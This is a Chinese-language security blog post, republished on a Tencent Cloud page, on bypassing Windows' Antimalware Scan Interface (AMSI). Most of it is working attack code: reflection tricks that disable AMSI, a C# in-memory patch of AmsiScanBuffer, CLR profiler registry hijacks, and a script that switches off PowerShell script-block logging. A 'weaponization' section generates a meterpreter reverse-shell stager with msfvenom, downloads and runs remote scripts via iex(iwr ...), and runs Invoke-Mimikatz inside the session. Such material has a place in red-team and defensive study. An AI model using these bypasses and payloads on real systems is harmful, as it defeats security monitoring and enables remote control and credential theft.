前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Antimalware Scan Interface (AMSI)—反恶意软件扫描接口的绕过

Antimalware Scan Interface (AMSI)—反恶意软件扫描接口的绕过

作者头像
洛米唯熊
发布2020-02-25 16:35:16
2.1K0
发布2020-02-25 16:35:16
举报
文章被收录于专栏:洛米唯熊洛米唯熊

在本文中,我们将分析AMSI的工作原理并回顾复习一些现有的bypasses

总览:

反恶意软件扫描接口(AMSI)是MicrosoftWindows保护系统,旨在保护计算机免受通过脚本语言(例如PowerShell,VBScript,JavaScript等)执行的攻击。『1』

它通过在执行之前分析脚本来工作,以确定该脚本是否为恶意软件。此外,它旨在通过每个评估步骤中递归调用来检测混淆的恶意软件。如果我们使用一个典型的混淆脚本,它们会在内存中自行解码和解压缩,直到准备好执行最终的有效负载为止。

原理:

通过在每个代码评估点(如Invoke-Expression)被调用,AMSI可以检查原始的,模糊的脚本的中间版本和最终版本。以这种方式,避免初始的静态筛选的简单技术不再有效。负责决定是否允许运行脚本的函数称为AmsiScanBuffer。『2』

例如,PowerShell将在每次要评估任何PowerShell脚本时调用此函数。AmsiScanBuffer函数来自amsi.dll,与所有其他用户空间库一起加载到内存进程中。实际上,amsi.dll本身是一个用户空间库,其结果是容易受到多种攻击。

查看OmerYair关于AMSI和Invisi-Shell的演讲。『8』『9』

函数ScanContent的实现如下所示:

代码语言:javascript
复制
internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
    if (string.IsNullOrEmpty(sourceMetadata))
    {
        sourceMetadata = string.Empty;
    }

    if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
    {
        return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
    }

    if (AmsiUtils.amsiInitFailed)
    {
        return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
    }

...
// call to AmsiScanBuffer()
...
}

该代码本身具有理性化地描述性,我们需要注意到一些重要的细节:

  1. 如果输入为空,则返回AMSI_RESULT_NOT_DETECTED以指示该样本不被认为是恶意的
  2. 从内容与EICAR测试文件的比较可以看出,当内容被认为是恶意内容时,将返回AMSI_RESULT_DETECTED。『16』 如果设置了amsiInitFailed字段,则返回AMSI_RESULT_NOT_DETECTED以指示该样本不被认为是恶意的
  3. 否则,该函数将继续其检测逻辑并调用AmsiScanBuffer

Bypassing AMSI

现存绕过AMSI的主要方法有三种:

  1. 如果PowerShell v2可用,就用它
  2. 如果Powershell v2不可用,我们需要手动禁用AMSI来绕过
  3. 如果没有绕过方法,就使用混淆

请务必注意,所有已知的绕过都是基于AMSIDLL已加载到用户空间的

关于混淆:

这里有一些简单的ps脚本来帮助我们做一个基本的混淆:

  1. PSAmsi:它可以检测到准确的签名并生成可以避免AMSI的最小混淆脚本。您需要在测试计算机上运行,因为它将触发大量AV警报。看看RyanCobb的DerbyCon演讲。『13』『14』
  2. 调用混淆:通用的PowerShell混淆器,可以应用几种不同的技术并生成独特的混淆样本。查看DanielBohannon的Hacktivity演讲。『18』『19』

Powershell降级攻击

为什么在这种情况下,PowerShellv2如此有用?由于版本2没有支持AMSI的必要内部挂钩,因此是双赢的。我们可以简单地发出以下命令来启动PowerShellv2:

代码语言:javascript
复制
C:\Users\Public\phra> powershell -Version 2 -NoProfile-ExecutionPolicy Bypass -Command "'amsiutils'" 'amsiutils'

如你所见,字符串'amsiutils'并没有被AMSI拦截

强制报错:

如果我们能够在AMSI中强制执行使得报错,那么将处罚内部属性amsiInitField,并且AMSI不会被调用唤起。

代码语言:javascript
复制
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) # allocate some memory
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null) # overwrite `amsiSession`
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) # overwrite `amsiContext`
Write-host -ForegroundColor green "AMSI won't be called anymore"

将amsiInitFailed设置为$true:

除了产生错误外,我们还可以直接为自己设置amsiInitField属性。@mattifestation推文中的bypass太简短了。『3』

代码语言:javascript
复制
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') # get `amsi.dll` handle
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static') # get `amsiInitFailed` field
$field.SetValue($null,$true) # set it to `$true`
Write-host -ForegroundColor green "AMSI won't be called anymore"

由于amsiInitFailed属性已声明为私有,因此不会直接公开,但由于使用了.NETReflection API,我们可以访问它。通过将其设置为$true,我们可以成功禁用AMSI,并且不再调用amsi.dll的AmsiScanBuffer

修补AmsiScanBuffer:

也可以在运行时monkeypatchamsi.dll的代码。特别是,我们对修补功能AmsiScanBuffer感兴趣。我们可以通过使它们始终返回S_OK来覆盖此函数的逻辑,就像允许命令运行时一样。『7』

为此,我们可以设计一个恶意DLL在运行时加载,以动态修补内存空间中的amsi.dll。这种bypass有多种版本,我将提交最新C#版本嵌入在.ps1脚本中,该版本完全取自解码器的powershell。『20』『21』

代码语言:javascript
复制
# Add-Type writes *.cs>$id = get-random;
$Ref = (
    "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
);

$Source = @"
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
    public class AMSI$id
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
        {
            string hexbuffer = "41;6d;73;69;53;63;61;6e;42;75;66;66;65;72";
            string hexdllbuffer = "61;6d;73;69;2e;64;6c;6c";

            string buf1=FromHexBuffer(hexdllbuffer);
            string buf2=FromHexBuffer(hexbuffer);
            IntPtr Address = GetProcAddress(LoadLibrary(buf1), buf2);

            UIntPtr size = (UIntPtr)5;
            uint p = 0;

            VirtualProtect(Address, size, 0x40, out p);
            byte c1=0xB8,c2=0x80;

            Byte[] Patch = {c1, 0x57, 0x00, 0x07, c2, 0xC3 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
            Marshal.Copy(Patch, 0, unmanagedPointer, 6);
            MoveMemory(Address, unmanagedPointer, 6);

            return 0;
        }

        public static string FromHexBuffer(String hexdata)
        {
            string buffer="";
            String[] hexbuffersplit = hexdata.Split(';');
            foreach (String hex in hexbuffersplit)
            {
                int value = Convert.ToInt32(hex, 16);
                buffer+= Char.ConvertFromUtf32(value);
            }

            return buffer;
        }
    }
}
"@;

Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp;
iex "[Bypass.AMSI$id]::Disable() | Out-Null"
Write-host -ForegroundColor green "AMSI won't be called anymore"

请注意,在PowerShell代码中使用Add-Type即时编译C#会使得文件落地,在编译阶段将一些*.cs放到临时目录中。为了避免文件落地,我们需要单独编译DLL并通过.NETReflection加载它:

代码语言:javascript
复制
[Reflection.Assembly]::Load($AMSIBypassDLLBytes)
[Bypass.AMSI]::Disable()

有关更多信息,您可以参考PowerSploit的Out-CompressedDll.ps1

Hooking .NET Framework via CLR

另一项强大的技术基于运行时通过CLRProfiler API挂钩.NETFramework,如OmerYiar在Invisi-Shell中所见。该项目能够绕过PowerShell的所有保护机制,即脚本块日志,模块日志记录,转录和AMSI。

使用CLRProfilerAPI,Invisi-Shell可以始终将输入长度属性覆盖为0,从而钩住.NET程序集『10』并禁用任何类型的保护机制。如上所述,如果输入为空,则将返回AMSI_RESULT_NOT_DETECTED同样的逻辑适用于所有其他安全机制。

该技术的唯一缺点是,必须将磁盘上的DLL删除才能由CLRProfiler API加载。

有两种加载DLL的方法:

  1. 通过env变量(需要管理员权限) set COR_ENABLE_PROFILING=1 set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db} set COR_PROFILER_PATH=%~dp0InvisiShellProfiler.dll powershell
  2. 通过注册表(任何用户都可以)
代码语言:javascript
复制
set COR_ENABLE_PROFILING=1
set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}

REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /ve /t REG_SZ /d "%~dp0InvisiShellProfiler.dll" /f

powershell

出现的PowerShell终端将禁用所有保护机制。有关内部结构的更多信息,我将带您转到他令人惊叹的DerbyCon演讲。『9』如果您对检测方面感兴趣,我建议您查看他的另一个项目Babel-Shellfish。『15』

武器化:

让我们看看如何使用此技术在目标计算机上生成一个meterpreter。为了做到这一点,我们需要做两件事:

  1. 避免文件落地
  2. 执行AMSI绕过

A ready to use Invoke-Bypass.ps1 scriptis available> repositoryon GitHub.『12』

禁用ScriptBlockLog:

首先,为了避免在禁用AMSI后被检测到,我们需要确保命令的日志没有保存在磁盘上,否则AV将发现我们的活动。有一个已知的公共绕过项目,可以禁用PowerShell的内置ScriptBlockLog机制。『17』

代码语言:javascript
复制
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
If($GPF){
    $GPC=$GPF.GetValue($null);
    If($GPC['ScriptB'+'lockLogging']){
        $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
        $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
    }
    $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
    $val.Add('EnableScriptB'+'lockLogging',0);
    $val.Add('EnableScriptB'+'lockInvocationLogging',0);
    $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
} Else {
    [ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
}

他通过2件事情来实现:

  1. 禁用脚本的全局日志记录:如果Domain Admins启用脚本的全局日志记录,则每个脚本都将记录在磁盘上。要禁用它,我们只覆盖组策略设置的内存表示形式
  2. 用一个空的签名替换已知签名的字典:即使没有通过组策略启用脚本阻止日志记录机制,某些签名也会始终触发日志操作(原文如此!)。为了禁用它,我们总是在我们的内存空间中用一个空的签名替换这个已知签名的字典。

Meterpreter:

我们可以使用bypass通过PowerShell生成meterpreter实例,然后执行任意*.ps1脚本。项目正在自动进行。现在,要生成它,我们需要通过以下命令生成stager:

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=3000 LHOST=127.0.0.1 -f psh > meter.ps1

然后在它之前执行绕过

代码语言:javascript
复制
iex(iwr https://127.0.0.1/Invoke-Bypass.ps1)
Invoke-BypassScriptBlockLog
Invoke-BypassAMSI
iex(iwr https://127.0.0.1/meter.ps1)

我们还可以使用AMSI的bypass从meterpreter会话在计算机上执行任意PowerShell代码。如果我们尝试在PowerShell会话中执行“amsiutils”,则会得到类似以下的内容

代码语言:javascript
复制
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_execute "'amsiutils'"
[+] Command execution completed:
ERROR:

但是如果我们导入Invoke-Bypass并执行旁路,则可以运行任何类型的命令,包括Invoke-Mimikatz

代码语言:javascript
复制
meterpreter > powershell_import Invoke-Bypass.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute "Invoke-BypassScriptBlockLog"
[+] Command execution completed:

meterpreter > powershell_execute "Invoke-BypassAMSI"
[+] Command execution completed:

meterpreter > powershell_execute "'amsiutils'"
[+] Command execution completed:
amsiutils

meterpreter > powershell_import Invoke-Mimikatz.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute "Invoke-Mimikatz -Command coffee"
[+] Command execution completed:

  .#####.   mimikatz 2.1.1 (x64) #17763 Dec 31 2018 01:15:11
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # coffee

    ( (
     ) )
  .______.
  |      |]
  \      /
   `----'

meterpreter >

Other Resources About AMSI

https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/ [4]

https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ [5]

https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html [6]

https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/ [7]

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ [11]

References

https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-interface-portal

https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer

https://twitter.com/mattifestation/status/735261176745988096

https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/

https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/

https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/

https://github.com/OmerYa/Invisi-Shell

https://www.youtube.com/watch?v=Y3oMEiySxcc

https://arxiv.org/abs/1709.07508

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

https://github.com/d0nkeys/redteam/blob/master/code-execution/Invoke-Bypass.ps1

https://github.com/cobbr/PSAmsi

https://www.youtube.com/watch?v=rEFyalXfQWk

https://github.com/OmerYa/Babel-Shellfish

https://en.wikipedia.org/wiki/EICAR_test_file

https://cobbr.io/ScriptBlock-Logging-Bypass.html

https://github.com/danielbohannon/Invoke-Obfuscation

https://www.youtube.com/watch?v=uE8IAxM_BhE

https://decoder.cloud

https://github.com/decoder-it/powershellveryless

下面是脚本实现效果,测试时候最新的win10及wdf最新更新。

杠精者想看放大看超清的地址这里:

https://v.youku.com/v_show/id_XNDQ4MjkwMzQyMA==.html

阅读原文获取脚本替换使用方法

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档